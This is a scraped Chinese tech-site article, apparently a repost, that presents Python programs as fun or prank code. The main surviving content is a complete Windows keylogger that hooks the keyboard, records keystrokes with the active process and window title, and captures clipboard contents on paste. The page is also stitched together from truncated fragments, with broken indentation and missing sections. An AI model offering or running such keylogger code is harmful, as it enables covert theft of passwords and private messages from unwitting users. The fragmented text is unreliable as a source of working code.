加入收藏 | 设为首页 | 会员中心 | 我要投稿 济南站长网 (https://www.0531zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 运营中心 > 建站资源 > 优化 > 正文

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码

发布时间:2019-01-30 22:23:29 所属栏目:优化 来源:信息安全我来讲你来听
导读:副标题#e# 为提高大家对Python编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦! 分享一:啥是佩奇?让Python语言告诉你 用Python代码创作一副佩奇: #coding:utf-8 importturtleast t.pensize(4) t.hideturt

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

代码如下:

  1. # -*- coding: utf-8 -*-  
  2. from ctypes import * 
  3. import pythoncom 
  4. import pyHook 
  5. import win32clipboard 
  6.   
  7. user32 = windll.user32 
  8. kernel32 = windll.kernel32 
  9. psapi = windll.psapi 
  10. current_window = None 
  11.   
  12. def get_current_process(): 
  13.   
  14.  # 获取最上层的窗口句柄 
  15.  hwnd = user32.GetForegroundWindow() 
  16.   
  17.  # 获取进程ID 
  18.  pid = c_ulong(0) 
  19.  user32.GetWindowThreadProcessId(hwnd,byref(pid)) 
  20.   
  21.  # 将进程ID存入变量中 
  22.  process_id = "%d" % pid.value 
  23.   
  24.  # 申请内存 
  25.  executable = create_string_buffer("x00"*512) 
  26.  h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 
  27.   
  28.  psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 
  29.   
  30.  # 读取窗口标题 
  31.  windows_title = create_string_buffer("x00"*512) 
  32.  length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 
  33.   
  34.  # 打印 
  35.  print 
  36.  print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 
  37.  print 
  38.   
  39.  # 关闭handles 
  40.  kernel32.CloseHandle(hwnd) 
  41.  kernel32.CloseHandle(h_process) 
  42.   
  43. # 定义击键监听事件函数 
  44. def KeyStroke(event): 
  45.   
  46.  global current_window 
  47.   
  48.  # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 
  49.  if event.WindowName != current_window: 
  50.  current_window = event.WindowName 
  51.  # 函数调用 
  52.  get_current_process() 
  53.   
  54.  # 检测击键是否常规按键(非组合键等) 
  55.  if event.Ascii > 32 and event.Ascii <127: 
  56.  print chr(event.Ascii), 
  57.  else: 
  58.  # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 
  59.  if event.Key == "V": 
  60.  win32clipboard.OpenClipboard() 
  61.  pasted_value = win32clipboard.GetClipboardData() 
  62.  win32clipboard.CloseClipboard() 
  63.  print "[PASTE]-%s" % (pasted_value), 
  64.  else: 
  65.  print "[%s]" % event.Key, 
  66.  # 循环监听下一个击键事件 
  67.  return True 
  68.   
  69. # 创建并注册hook管理器 
  70. kl = pyHook.HookManager() 
  71. kl.KeyDown = KeyStroke 
  72.   
  73. # 注册hook并执行 
  74. kl.HookKeyboard() 
  75. pythoncom.PumpMessages() 

分享七:用Python写一个机器人陪自己聊聊天吧

用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。

1. 需要的工具

  • Python。写代码的工具;
  • itchat库。第三方库,用来登录微信,接收并回复微信好友信息;
  • 图灵机器人。第三方接口,我们本次使用的机器人;

2. 代码如下:

(1) 准备

(编辑:济南站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!